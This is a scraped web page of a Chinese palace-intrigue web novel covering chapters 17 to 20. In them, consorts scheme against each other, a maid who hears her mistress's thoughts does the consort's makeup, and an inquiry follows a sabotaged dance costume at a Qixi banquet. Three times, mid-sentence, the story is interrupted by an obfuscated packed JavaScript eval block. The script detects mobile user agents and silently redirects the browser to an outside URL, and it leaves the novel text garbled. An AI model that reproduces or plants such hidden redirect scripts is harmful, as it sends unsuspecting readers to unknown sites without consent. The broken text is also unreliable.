伴驾的高美人看着这一幕,眸光未分到湖面半分,只专注盯着眼前这个人。只是神情冷冷,似乎天生不会言笑晏晏,但没关系,她长的美,清冷出尘,不笑亦是好看。 “皇上可还记得杜宝林?”她试探问道。 站在她身旁喂食的纪宸天然一股从容,丝毫不受高美人气质的影响,看也未看她:“今天怎么都在向朕提起杜氏,难道她又干了什么蠢事?” 最是平常的问询,让高美人放松警惕,并未深想脱口而出:“杜宝林杀害两名宫女,嫔妾只是感怀,才向皇上提起。” 纪宸没说话。 高美人感觉到了自己的心跳声,虽然重提此事会惹得皇上不高兴,可她现在必须试探出皇上对杜宝林的态度,才好走下一步。 皇上不在意杜氏,即便杜氏精心献舞,也不能得皇上怜惜。 可若皇上仍在意杜氏,只是故意冷一冷她,她就必须破坏杜氏今日的计划,让杜氏在大庭广众之下出丑。 总之,绝不给杜氏复起的机会。 高美人小心观察着皇上,他在不虞,究竟是在不高兴她提起杜氏,还是她重提杜宝林的错事? 一想到后一种可能,高美人掐向手心的力道就在缓缓加重。 亭子内一时无言。 纪宸拍了拍手,看向高美人,伸手握住高美人攥紧的手,缓缓掰开,看着留下月牙印的手心,怜香惜玉道:“别伤了自己。” 高美人耳垂一红,含情脉脉道:“陛下。” “朕先回乾清宫,你若想呆,便在这儿呆一会儿,朕传御医来湖亭给你看看手。” 高美人低头:“只是小伤,不必传御医。” 纪宸笑了笑,但眼中却无甚深情可言:“落在爱妃身上,再小的伤于朕而言也是大事。” 高美人不好再拒绝,她的唇角勾了勾,心中一片甜蜜。 纪宸见状背身离去。 快步离了湖亭,登上銮舆,大力太监将銮舆抬起往乾清宫方向平稳行进,本来侍候在湖亭的宫人走在圣驾两侧。 突兀地,銮舆上传出道声音:“高氏怎么知道朕在湖亭?” 宫中禁探圣上行踪,先皇在时,因忌讳这件事,会准备多个銮舆来混淆视听。 纪宸登基后,同样不喜欢他在何处,后宫嫔妃就一拥而上,但许是刚入宫,嫔妃在宫内根柢不深,他也就忘了警告这件事。 无论今日是不是偶然,他心底终归是不喜的。 跟在皇上身边的是钱全忠,他道:“有一个御前的小宫女往高美人那里递了消息,高美人这才匆匆而来,奴才已经将此人惩治过,赶出乾清宫了,也让人盯紧了她。” 至于赶出乾清宫会去哪里,虽未言明,总归是没什么好去处就是了。 “奴才治下不严,请皇上降罪。” 纪宸淡淡道:“罚一个月俸禄,通知王积贵,让他整肃乾清宫内外,朕不希望这种事下次还会发生。” 钱全忠道是。虽然知道高美人的手插不进乾清宫,那小宫女背后还有其他人,但钱全忠还是对高美人带上了不喜。 陛下好不容易放下政事出乾清宫放松,结果被高美人给搅了兴致。 皇帝不爽,底下伺候的人必会如履薄冰。 这也是为什么,有些御前的太监会去讨好宠妃。 湖亭内,高美人还没走,皇上的仪仗离开,连带着挡风的帐幔也撤走了,湖边带着凉意的风一吹,整个人都精神了。 但她不能走,她还得等皇上给她传的御医。 七月酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279966|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热,她穿的本就单薄,但偏偏宫内独湖亭这里是凉爽的。 皇帝在时还不觉得,现下只剩她和她的宫女,湖亭的孤寂便显了出来。 - 沈青青回思过斋不久,萱草便亲自带人来了这里,还特意给杜宝林补上了一名宫女。 那名宫女,长的是极好的,虽不如杜宝林高美人之流,但也属上乘,只是眉眼中的高傲与怨怼是怎么也压不住。 沈青青察觉古怪,但也不好说什么,直到跟着萱草离开思过斋,这才开口询问:“萱草姐姐,那名宫女可是有什么特别的?” 萱草眉毛一挑,带着笑意道:“那位可是司薄司的名人,在司薄司呆了许久也没安排进各宫,娘娘正愁着呢,现下正好让杜宝林笑纳了。” 沈青青不明白,眼中仍是疑惑。 她继续解释道:“她原是大选时的秀女,家中在陛下还是太子时便攀附上去了,大选时年龄正合适,本也想进宫做个嫔妃,但奈何殿选前夕生了场病,就此错过了。但听闻她对皇上情根深种,不愿再嫁,亦不愿再等三年,便直接以宫女的身份入了宫,家中很是打点了一番。但你知道,娘娘管着尚宫局,将此女分到哪个宫里,都是给哪宫的主子添堵,娘娘不喜给人找不痛快,就只能将人一留再留。” “不能直接去御前吗?” 萱草:“她倒想去,但御前选拔宫女极为严格,几次都是御前的王公公亲自将人筛了下来。” 沈青青想,萱草说的大概是王积贵。 于是了然道:“她得罪了王公公?” 萱草也不甚清楚这段事,含糊道:“许是吧,也可能王公公并不想有一个在御前出身的嫔妃。” 王积贵的手段定不是宽和的,若将人招到御前,惹了怨怼,那人再一路高升,岂不是得不偿失。可若让他提前去讨好一个御前宫女,那更是异想天开。 索性直接断了这个麻烦。 沈青青和萱草抵达景仁宫时,贤妃正在梳妆,她跟随萱草进去,行了跪拜之礼:“奴婢沈青参见娘娘,娘娘万福金安!” “平身,近些过来。” 沈青青起身,走到贤妃身边。 贤妃握起她的手,动作轻柔地将袖子往上叠了叠,看清疤痕丛生的惨状后目露不忍:“可怜的孩子,本宫都知晓了,也已为你传了医女,只稍等片刻便来了,让她给你好好瞧一瞧,可莫要留疤了。” 也许是贤妃太过温柔,明明只比她大四五岁的人,却让她感受到了来自母亲般的关怀。 她的温柔,是骨子里就有的,演是绝对演不出来的。 沈青青莫名鼻子一酸:“娘娘,您好温柔。” 她把心里话直接给说了出来。 贤妃一愣,唇畔带笑:“那今日便由你为我上妆,可好?” 上妆的宫女将工具递到沈青手边。 【小嘴怪甜。】 【让沈青尽快与其他宫女打成一片,我能做的只有率先重用,让宫女们明白我的心意。】 !! 沈青青瞳孔地震,露出震惊的模样。 未启唇的贤妃略略歪头,带着温柔可亲的笑意:“嗯?” 宫女们不知道她能听到贤妃心声,只当她被贤妃的举动惊到了,纷纷带上友善的视线。 沈青青接过工具,手心是细汗,恭敬且珍视道:“奴婢遵命。” 她必要贤妃惊艳全场! 18. 第 18 章 沈青青在思过斋呆过的四个多月里,她每天都会给杜宝林上妆,即便不出门,即便面对着刻薄的方嬷嬷,即便身边只有珊瑚,杜宝林也必须要保持全妆的,区别只在于浓淡。 且杜宝林习惯午睡,睡前净面,下午时若有需要还会再上妆,不上妆的次数寥寥可数。 因此沈青青日日在那张芙蓉面上练习,对待如何扩大本就是美人的容貌有着独到的见解。 触类旁通,对于如何为贤妃上妆,扩大她的优势沈青青也有自己的想法。 扫了一眼贤妃黄花梨妆匣内的胭脂粉黛,她拿上工具便开始上手。 时下流行铅粉敷面,来追求雪肌效果,但贤妃本就很白,铅粉所起的作用不大,用珍珠粉即可,不过铅粉这东西提亮是好的,只不过不能下重手。 沈青青拿工具先用珍珠粉打底,然后用铅粉点了额头鼻梁下巴提亮。 铅粉虽然对皮肤有害,但效果摆在那儿,她一时找不到很好的替代品,只能勉强一用。不然后宫嫔妃均白的吸睛,只有贤妃暗淡可不行。 接着便是胭脂,杜宝林容貌盛,适合浓艳的红色,贤妃温柔,更适合淡雅的粉白。 沈青青用棉片蘸取胭脂,食指抬起贤妃的下巴,开始在她的眼睛和脸颊处晕染,及至满意这才松手,又快速换工具在贤妃的额间画上花钿,因贤妃名字中带月,她便私心画了个有关月的花钿。 想到这个朝代的妆容还没有把花钿玩儿出花,属于比较小众的妆面,便有心炫技弄得更精致。 “可有金箔?” 沈青青动作极为麻利,旁边的宫女们只是一愣神,她便把大部分妆面都上好了,还那么恰到好处。 还未画完,萱草便觉得娘娘似乎更有韵味了。 身旁的宫女回神:“有的,我为你取来。”说着便去找金箔了,只是心里犹想着要金箔何用,不能是上脸吧?这可从未有人在脸上贴金箔。 有点怪。 沈青青嗯了一声,在金箔没取来之前为贤妃点上了适配妆容的上浅下深的半注唇,不过她更注重唇形的饱满与唇色,接着顺带描上了细长的远山眉。 至此,妆容便也差不多了,只是兴许金箔放的位置不明,现下还没有取回来。 于是沈青青盯着贤妃的妆面,又下手为贤妃上了眼妆,勾勒出眼型。她没敢多画,因为一个妆容有多个重点就显得很杂乱。 这时,宫女捧着托盘,上面盒子里装着金箔。 沈青青取来少许点缀在花钿上,点睛之笔便也完成了。 她收手,统共没用多长时间,双手交叠在腹部:“娘娘看一看,有需要更改的地方,尽可吩咐奴婢。” 贤妃转头看向妆匣边的铜镜,粉色是个很少女的打扮,但在这妆面上没有显得很娇俏,反而处处透着温柔,介于少女与女人间的典雅。 一口朱唇仿若鲜嫩的樱桃,为她点上了韵味,看着很是可亲,惹人品尝。 额间碎金映衬的小巧花钿,有种移不开眼的美丽,最让贤妃满意的则是花钿中的巧思,她喜月,她在萧府的闺房便是以月命名,她还有一把名字中带月的古琴。 萧裳月微微一笑,镜中熟悉又陌生的美人亦是顾盼生辉。 【好喜欢,呜呜,好美啊,这就是我萧裳月!】 【本宫真是好美的美人,真是要被自己美晕了,这就是操劳宫务的奖励吗?如果是这样,我愿意干一辈子活。】 沈青青低头,心落到了实处。 其实她也不能打包票这个妆容会怎么惊艳众人,因为她见的嫔妃着实少,即便见了,也是匆匆一瞥,不能细看。 她对嫔妃流行妆容的把控全来自于师父和杜宝林身上。 杜宝林毕竟做过宠妃,她喜欢的妆容在一定程度上也反应了宫内的流行趋势,甚至于是她自己带动起来的。 贤妃摸了摸发髻,不管内心如何想,她脸上也未曾失态:“将这发髻换成单螺髻。” 她没有直白夸沈青,但这一句话就证明她很满意这个面妆,以至于让梳好的发髻为其让步。 梳头的两个宫女上前,重新为贤妃梳发。 沈青退至一旁,用余光扫着发髻的进度。 不多时,一名医女被带着进入景仁宫主殿,正是贤妃为沈青传唤来的。 萱草带着沈青朝贤妃示意,贤妃微微颔首,便是首肯的意思。 两人从里屋出来,走到外间的桌椅处,萱草按着沈青坐下,沈青无奈撸起袖子,医女顺势坐在她身旁为她诊治。 沈青青在之前就跑过司药司,取药的时候问过小太监,一些没碰到骨子的外伤基本拿了药就等自愈,原不必再找医女。 果然,这位医女看过后,也照例开了些药,说了些忌讳,旁的就没了。 萱草忙问有没有祛疤的灵药,医女便从随身带着的提匣里拿出一盒药,说:“虽然比不上贡品金创玉髓膏那般有祛疤奇效,但这个日日抹,疤痕也会淡下去。” “金创玉髓膏?”沈青青疑惑问。 不待医女回答,萱草就已经给她解惑了:“金创玉髓膏是下面每年进贡给皇上的贡品,因是珍贵材料炼制,每年产量有限,一点便价值千金,且还买不到。也没听后宫哪位主子讨要过,仅有的那些应该都在皇上手中。他们太医院的人常常喜欢念叨些珍贵药品。” 医女闻言,笑了笑。 沈青青这时才发现医女拿出来的那盒药跟当初她送给冬儿的药膏大差不差,只不过包装变了,应是太医院大量制的药膏,虽然比不过医女口中的贡品,想来对于她这种情况也是极好的。 医女诊治过后便带着东西离开了,萱草将药膏放进沈青怀里,因这药膏走的是景仁宫的账,为免沈青多心,萱草便多说了一嘴。 两人相携回到贤妃身边。 等贤妃任宫女摆弄,换上香色与金红交叠的服制,也几乎到了去宴席的时候。 在这个过程中,她的心声不断蹦出来,让沈青青想忽略都忽略不了。大部分是操心今晚的宴席能否顺利进行,祈祷她负责的那一部分千万不要出差错,接着是想德妃等妃嫔,最后想到杜宝林的时候心声便停止了,想来心中还没有明确的想法。 最后穿好宫衣,她抬眼望向沈青:“沈青,跟上来。” 沈青青迅速反应过来,跟在萱草身后,随贤妃一起去七夕宴席上。 她大约猜到了贤妃的意图,贤妃无法预料这次宫宴会发生什么,但可以确定,杜宝林一定不平静,不管是别人扯杜宝林也好,还是杜宝林自己跳出来,贤妃只需带着她见机行事,就已占据了优势。 七夕宴是在傍晚举行。 贤妃带着人去时是夕阳西下,天边是橘红云海,宫墙作中分线,将天地一分为二,紧挨宫墙的宫道上,挡住了落日余晖,一片阴影。 贤妃坐着轿子,除了身边陪侍一名大宫女,其余宫人都坠在后面。 中途,天色渐暗,一半的宫人手中多了盏四角宫灯,因沈青青手臂受伤,她并不需要提着。 萱草趁此机会问她:“可累了,身体受得住吗?” 沈青青自觉她身体好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279967|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又未伤筋动骨,怎么也扯不上虚弱,她摇了摇头,目光亮亮:“姐姐,我不累。” 萱草转回头,她其实是看见另一个宫女提灯的胳膊抖了,念及沈青是个病患,才来问她有何不适,既见沈青连汗都没出,当下,心便放进了肚子里。 宴席设在乾清宫,算是一次家宴,贤妃一行人到时,低位嫔妃已经到了有一会儿了,只除了德妃和皇上已经不知什么原因不在的高美人未至。 低位嫔妃纷纷站起来朝贤妃行礼,贤妃声音轻柔说免礼,便一路往里走。 行过礼的玉贵人站直身子,方才在殿中惊鸿一瞥,她便察觉出了贤妃今日妆容有异,现在行过礼再仔细看去,便愕然微微睁大了眼睛。 今日七夕宴席有心思的嫔妃都好好地打扮了一番,她也不能免俗,她虽然年纪与贤妃相当,但因为位份低,嫩起来毫不违和,偏偏今日贤妃不知为何也是粉白妆容,却更是精致到她所不能及,直观对比下,今日皇上哪能记得她。 玉贵人的目光流连在贤妃脸上,吩咐身边的宫女记下贤妃的妆容,若皇上喜欢,她也仿来好了。 颜修仪的座位离贤妃最近,她行过礼后毫不掩饰目光落到贤妃脸上:“娘娘,您的鼻梁似乎高挺了?” 沈青在贤妃身后闻言,不由心道,这大抵是高光的魔法吧。 贤妃微微一笑:“颜修仪若是喜欢,可以来本宫宫里,让沈青为你上妆。” “沈青?娘娘新得了名宫女?”颜修仪对贤妃身边的人还算了解,在今日之前,绝没有沈青这人。 她探寻地问,此刻妆容反而需要往后稍了。 贤妃笑着望向颜修仪:“她原是思过斋的二等宫女,因为一些事,今日刚调到景仁宫,也恰好填补了本宫身边空缺的一名二等宫女。” 【老狐狸。】 沈青青低着头,贤妃称颜修仪为老狐狸,说明不怎么出长春宫的颜修仪在贤妃眼中同样不简单。 颜修仪哦了一声,饮了一口茶,便不再问。 贤妃顺势收回了视线。 她虽宽和待下,也想与人为善,但不代表她瞧不出旁人的心思。 两人刚结束谈话,便有太监唱:“德妃娘娘到——” 嫔妃起身行礼,贤妃稳坐在位置上,朝来人点头示意,一身紫棠宫装,满头珠翠,气势凌厉的美人与贤妃遥遥相望,唇畔扬起似笑非笑的弧度。 “今日贤妃倒是极为貌美,连玉贵人那般美人都给比了下去。” 玉贵人出声:“娘娘谬赞,嫔妾愧不敢当,论姝色嫔妾哪能和贤妃娘娘比。” 她不轻不重顶了回去,德妃特意拿她做筏子,她又像是泥捏的吗? 德妃理都没理玉贵人,像是没听到,这般无视态度让玉贵人难堪低下头,掩住了眼眸。 贤妃开口:“德妃姐姐也不差,新得的耳坠倒是极为难得。” 【老女人。】 沈青青默默心道:娘娘,您崩人设了。 德妃与贤妃同龄,却比贤妃大一些,每每两人起龌龊时,贤妃总爱暗戳戳踩德妃的年龄。 德妃心中冷笑,扶了扶耳坠,回到了位置上落座。 这个耳坠并非她份例中的物件,而是她费了好大力从宫外买的,她掌管着尚服局与尚功局,这点力量还是有的。她虽不怕查,未动宫中的银钱,账目也没问题,但解释起来可不是一时半会儿就能说清楚的。 烦死了,萧裳月这个死女人。 未出嫁时便与她争高下,未成想一同入了太子府做侧妃,更是甩不掉了。 19. 第 19 章 贤妃和德妃结束了明捧暗讽的问候,高美人这才姗姗来迟。 坐于高美人下首的梅才人主动询问:“高姐姐怎么迟了这么久?” 高美人冷冷看了她一眼,倒不是她针对梅才人,而是她对谁都这个眼神,无论位份高低,大约只在皇上面前才会融了眼瞳中的疏离冷意。 “陛下为我请了太医,又回明月阁换了身衣裳,这才耽搁了。” 梅才人一身书卷气,眉头舒展,瞧着很是和善,闻言奉承道:“皇上当真关心姐姐。” 高美人颔首。 两人的谈话没逃过室内众嫔妃的耳朵,卫贵人还在往贤妃那边看,颜修仪嘴角的笑意加深,贤妃和德妃神色不变。反而是惠贵嫔不经意道:“湖亭的风凉,高美人呆了那么久,不妨喝点热茶暖暖身子。” 高美人倏地看向惠贵嫔:“多谢贵嫔娘娘关心。” 她从湖亭到明月阁,再从明月阁奔波到乾清宫参宴,怎么会冷?无非是惠贵嫔在讥讽她。 宫人为高美人上了盏热茶,热气升腾而上,模糊了她一侧耳坠,但从始至终,她看也未看,碰也未碰这盏茶,全当它不存在。 惠贵嫔倒是怡然自得,似是没发现高美人的小脾性,还品尝了口甜汤。 殿内一时其乐融融,直到洪亮的嗓音传皇上到,众嫔妃这才止了话,站起来恭迎皇上。 纪宸从殿侧走到主位上,殿内齐呼:“臣妾/嫔妾拜见皇上,皇上万安。” 声音一落,纪宸抬眼一扫大殿内众人:“都坐吧。” 众人这才恢复了方才样子,只是因为皇帝在,到底拘谨了许多,视线频频望向上面,期许皇上能注意到自己。 接下来便是皇上说话,德妃贤妃依次说话,待丝竹声响起,宴席便开始了。 沈青青跟在贤妃一侧,与其他宫女一起注意着贤妃这边的需要,递水递帕子,其余便没什么事了,倒也轻松,还能抬头欣赏宫廷表演。 杜宝林的献舞明显没在前面,等场热了起来,一身红衣戴着薄透面纱的她才伴着铃铛声登场。 她穿着红绣鞋白绸袜,一只脚的脚踝上绑了声音清脆的铃铛,只见她双臂像鸟一样张开,单脚着地便是几个利落的旋身,功底初见。 殿内的目光慢慢落到她的身上,原本在动筷的嫔妃也将筷箸放了下来。 沈青青看向杜宝林,杜宝林准备了几个月的成果定然是不错的,加上她有天赋,又是大师编舞,当作底牌带进宫中。虽比不得宫廷舞师那般技艺娴熟,但胜在有创意,抓人眼球。 杜宝林在跳舞的过程中露出优美修长的白皙脖颈,宛若仙鹤在舞,众人这才恍然,看向皇上。 果然,皇上的目光亦是落在了跳舞之人身上。 玉贵人开口道:“这不是杜宝林吗,嫔妾竟然不知杜宝林善舞,还以为杜宝林看不上这些技艺呢,怎么今日倒献上了舞?真是怪哉。” 她声音不大,是恰好众人都能听到的音量。 梅才人忽然想到什么,懊恼开口:“去岁杜宝林还未降位时,不小心毁了玉姐姐的琵琶,还说了许多难听的话,将玉姐姐一顿羞辱,仿佛会弹琵琶就门楣很低似的。” 纪宸的视线落到了玉贵人身上,玉贵人听到梅才人忆往昔,忍不住红了眼眶,往皇上那边看去。 她眨了眨眼,强忍着没让眼泪落下来。 【玉贵人和梅才人怎么走到了一起,她们与高美人的关系却也不坏。】 沈青青心道估计是杜宝林的力量,这三位杜宝林以前可都得罪过,自上次出门遇上了高美人受了辱,杜宝林便再也没有出过思过斋,玉贵人和梅才人想找杜宝林不痛快也断没有上门折辱的说法。 不然,消息传到皇上耳中,她们便落了下乘,仿佛不清白了似的,明明是杜宝林得罪她们颇深。 如今玉贵人的表现也证实了她一直记得杜宝林对她做过的事。 纪宸立刻着人给玉贵人送了一盘御膳,略作安抚,算是他对此事的回应。 玉贵人收到御膳,品尝了一口,朝皇上遥遥笑了笑,眼眸似乎都亮了。 梅才人收了表情,继续将目光落到跳舞的杜宝林身上。 这时,杜宝林的舞蹈已经接近尾声,只见她再次表演了一个高难度动作显示出纤细腰肢后,停下,朝皇上那边走了走,解下一角面纱,露出面容,盈盈一拜:“嫔妾拜见皇上,皇上万安。” 杜宝林直直望向皇上,目若秋水,唇畔带笑,小脸上带着些自得。 【皇上居然要给杜氏递披风,那么喜爱吗?】 【爱到连她做过错事也能忽略吗?】 沈青青抬眼,果然见皇上的手搭在了披风上,但那披风是绣娘一阵阵绣上去的,料也是好料子,看上去颇为重工,同样,对于七月份的天来说也很厚重。 且杜宝林刚跳完舞,汗水刷刷往下流,虽不至于多到糊了妆,但绝对很热。 这个时候,再加件披风,真是不敢想。 但作为皇帝完全没必要这般促狭,也许真的在担心杜宝林跳舞后冷热交替,会受凉。这般,是否在表明皇上仍看重杜宝林? 想着想着,沈青青就在心里暗暗自证,就算如此,她也不后悔离开杜宝林。杜宝林有特殊癖好,她却不嗜痛,正常人自然忍受不了杜宝林,离开是迟早的事。 就是不知道杜宝林与皇上床笫之间会是什么样的,杜宝林应是收敛的吧。 浑然忘了自己年龄并不适合想这些的沈青青,再回神,殿内的气氛已经降到了冰点,是婉转悠扬的乐曲声都救不回来的程度。 果然,皇上并未忽略杜宝林,反而从主位走下来,一手拎着披风,披在仍是请安姿势的杜宝林身上,并给她系了个结。 杜宝林整个人兴奋了起来 玉贵人掩面难堪,那滴泪终究是落了下来,被她用指尖擦掉,几息之后,神态又恢复如常。 德妃皱眉扫了一眼高美人,深觉她是个废物,这点小事都办不好。 高美人颇有点浑浑噩噩,她明明已经让人破坏了杜宝林的舞衣,怎会如此?叫杜宝林安安稳稳跳完了舞。 贤妃看完众生百态,嘴角习惯性弯出柔婉的弧度,除了那双眼渐渐发虚。 【皇上……】 贤妃爱皇上。 沈青青断定,因为这些都和她没关系,反而更能理性分析这一切。 不过这也十分合理,贤妃妙龄嫁入太子府,又在极短的时间内成为后宫最高位的妃子之一,且这天下最尊贵的人,与她年龄相仿,长相又是极优越的,他有文人的学识,武夫的武功,气质沉静从容,身姿高大有型,再床笫功夫好些…… 即便不常被宠幸,也会勾得贤妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279968|166781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念念不忘吧。 再看颜修仪,她垂眼不去看,倒像丝毫不在乎皇帝宠谁。 将披风披好,纪宸直起身:“不必拜见朕了,回思过斋再好生思过吧。” 杜宝林的脸唰一下惨白,她不明所以抬头看向皇上:“皇上?” 纪宸没说话,眼神平淡看着她,没浮现丝毫喜爱之意,只是杜宝林没有抬头,直到现在才发现罢了。 嫔妃们的情绪再次波动,看好戏的眼神落到杜宝林身上。 杜宝林咬唇,深知这次若不能挽回皇上的心,就绝没有下次机会了,于是扑向皇上,娇娇弱弱揽向皇上胳膊,雪白的小臂从杜宝林的披风中探出来。 她低头,看向衣衫不整的舞衣,才发现被算计了。于是慌乱松了手,拢紧了皇上赐给她的披风。 她被算计了,但或许是舞衣坏的时间不对,没有在她跳舞时崩坏,反而在她行礼时断线了,皇上发现了,这才亲自下来为她裹上披风。 “有人算计嫔妾。”杜宝林立刻意识到这是个绝佳的不让皇帝驱离自己又能让算计她的恶人食恶果的机会,于是果断落了泪,“求皇上为嫔妾做主,有人毁坏了嫔妾的舞衣,想让嫔妾在大庭广众之下出丑,可嫔妾是皇上的人,嫔妾出丑,岂不是打了皇上的脸,不将皇上放在眼里?” 后怕的泪水如落了线的珠子往下滚落,同时杜宝林吐字清晰,将重点抓得牢牢。 皇上闻言却是问她:“你要查吗?” 沈青青心头觉得奇怪,这声音太理性了,理性到好像在问杜宝林,你要死吗?不过还是带了点礼貌的。 杜宝林望着皇上,似乎被激励了,她掷地有声:“查,嫔妾要一个公道!” 仿佛全然一个不屈的受害者。 皇上重新回到了主位上,招来一个太监吩咐,观其服制,是个与钱全忠一样品级的大太监,大约便是王积贵了。王积贵那若非自然弯下的脊梁,比起公公,倒更像会馆中的士子。 王积贵领了命令便带着太监去查。 乐师们停了手上的动作,抱着乐器退下,殿内嫔妃神情或是不明所以,或是若有所思,均安然坐着,独杜宝林还站在那儿,眼睫毛上挂着晶莹泪珠,颇是惹人怜爱。 但没有一个人对她产生怜意,包括曾经或许待她如珠似玉的皇帝。 皇帝的模样,颇有任风任雨的意思。 沈青青腹诽,按宫斗文的套路,皇帝若有真心,肯定是慢慢托付,除了女主谁都不给。杜宝林不像女主,曾经得到过的或许是属于帝王的虚情假意,寥寥恩宠。 捧着皇帝对自己的一点点心意,就把真心完全托付了。 玉贵人聪明,但也因一盘皇上赐的御菜就觉得莫大荣幸,得到了皇上的垂怜宽慰。 试问,杜宝林在过去从皇上身上得到的真情真的多吗? 不过,沈青青也觉得,皇帝就这么一个,嫔妃这么多,又不是非得要皇上的真心,不爱就能实现真正的无敌。嫔妃有钱有闲有人服侍,努努力还有皇帝嫖,日常还能和漂亮美人斗嘴…… 当然,这是沈青青身为宫女有的感悟,若她开局身为嫔妃,可能过惯了日常,觉得宫墙困住了她,要么寂寥至死,要么非要求一颗真心。 所谓退一步海阔天空,只要一想她开局幸好不是太监,那么宫女的身份也不是那么难以接受了。 20. 第 20 章 一盏茶的时间,王积贵便带着一名宫女回来了,低头敛目道:“启禀皇上,据其他宫人口述,只有这一名宫女过长时间接触过杜宝林,杜宝林与她甚为亲近……” 那名宫女跪下,头深埋于地,一言不发似是默认。 杜宝林定睛瞧了她一眼,直截了当打断道:“不可能是她,王公公是否查错人了?你真的将接触过本宝林的人挨个查仔细了吗?” “皇上,这宫女名为阿蓝,嫔妾与她相识,绝不可能是她算计嫔妾,背后一定另有其人,若轻易定罪,难免会让暗害嫔妾的人逍遥法外,请皇上派人再去查一查。” 杜宝林摆明不信王积贵,纵然她是婕妤时对王积贵多有讨好,但终归她是主子,王积贵是奴才,她并不需要放低姿态,尤其是在这种场合。 若皇帝的嫔妃对一个太监奴颜婢膝,那皇室颜面也不复存在了。 王积贵闻言,让身后的太监呈上证物,一把手指长度连着圆环的小刀,尾端圆环处缠了好几层粗线。 “杜宝林莫急,这是从这位阿蓝姑娘身上搜出来的,因奴才等去得快,到时,这小刀还戴在她的中指间,人证物证俱在,绝不是奴才等办事不利的结果。敢问杜宝林,您为何与这宫女阿蓝相熟?” 杜宝林看向皇上,神情不解中带着坦然:“阿蓝百般讨嫔妾欢心,嫔妾临时缺个支使的宫女,使唤了她几次,便知道了名姓,这便算是相熟了。怎么,难道嫔妾就不能信任她了吗?” 最后一句话,她带上了娇滴滴酥麻麻的反问,颇是天真烂漫。目光也只专注于皇上,似乎全心全意都是对方。 玉贵人悄然翻了个白眼,梅才人撇了撇嘴。 诸位娘娘神情未变,不受杜宝林任何影响。 对待临时认识的宫女,杜宝林都能为她说话,不相信对方是算计自己之人。 同是低位的方宝林顺势便道:“杜姐姐如此为宫人思量,想来在思过斋定是遵循了皇上的旨意认真思过了,常言道,知错能改善莫大焉,杜宝林年纪还小,性子定然已经掰正。” 沈青青:“……” 她有点期待贤妃拿她打杜宝林脸的时候了。 方宝林有讨好杜宝林的意思,一是她在宫中向来默默无闻,并未与杜宝林交涉过,如今打着杜宝林再次得宠后记着她的情便好的打算,二是杜家在朝中官职不低,帮杜宝林,亦是帮方家顺利攀上杜家。 她的位份低,再不出头,宫中就真的没她出头之日了。 在宫中不怕遭人记恨,就怕被人遗忘。 只是她这话换一个高位嫔妃来说很是恰当,如今方宝林一边叫着杜宝林为姐姐,一边说杜宝林年纪小,怎么听怎么违和。 梅才人开口呛她道:“年纪小?这满宫的嫔妃年纪莫不相差无几,若今日杜宝林因年岁小就能暗害两名宫人后被人轻飘飘开脱,那明日是否人人都能打着年纪小肆意妄为,往后宫中的主子还像个人吗?” 后宫嫔妃的视线都落到梅才人身上,这才恍然发觉宫中还有这么一位不客气的才人,平日倒是看不出来。 梅才人昂首挺胸,丝毫不怵:“嫔妾是说话难听了,但理就是这么个理,请皇上与诸位姐姐勿怪。” 纪宸眼抬都不待抬的:“梅才人说得不错。” “谢皇上。”梅才人起身行礼,然后重新坐下。 纪宸冲王积贵示意,王积贵看向阿蓝:“且将方才报与奴才的话再与皇上与诸位娘娘说一遍。” 杜宝林太心急,王积贵身为大公公,定然一切查清了才带着人来禀报。当然,或许是杜宝林借着这个机会向皇上表明她的改过之心。 阿蓝磕了几个头,磕磕绊绊道:“回禀皇上、娘娘们,是奴婢见杜宝林出手大方便靠近她向她献殷勤,杜宝林也给了奴婢赏银,但因为赏银并未达到奴婢想要的,便怀恨在心,悄悄毁了宝林的衣裳。” “奴婢之后便已经后悔了,只是没有补救的办法,直到王公公到,奴婢才知道晚了,奴婢有罪,请皇上饶命!” 阿蓝将事情全揽到自己身上,用力磕破着头,这样仿佛就能逃避殿内的威压与杜宝林谴责的目光。 “不可能!”杜宝林神情这才变了。阿蓝是杜家安排在宫里的人,不然她为何谁都不用,偏用这个胆小的宫女。 难道她就这么蠢吗? 杜宝林目瞪口呆,反应过来阿蓝已经被收买了,当即失魂落魄看向皇上:“一定是有谁在害嫔妾!” 这个借口太拙劣了,哪个宫女能因为赏银不够就对主子下手,若真这样,住在皇宫,受宫人的服侍的嫔妃还能安然吗? 颜修仪奇道:“咦,谁会害一个失了圣宠,贬了位的宝林?杜宝林莫不是有了猜疑之人,不如直接说出来,何必来来回回打哑谜。” 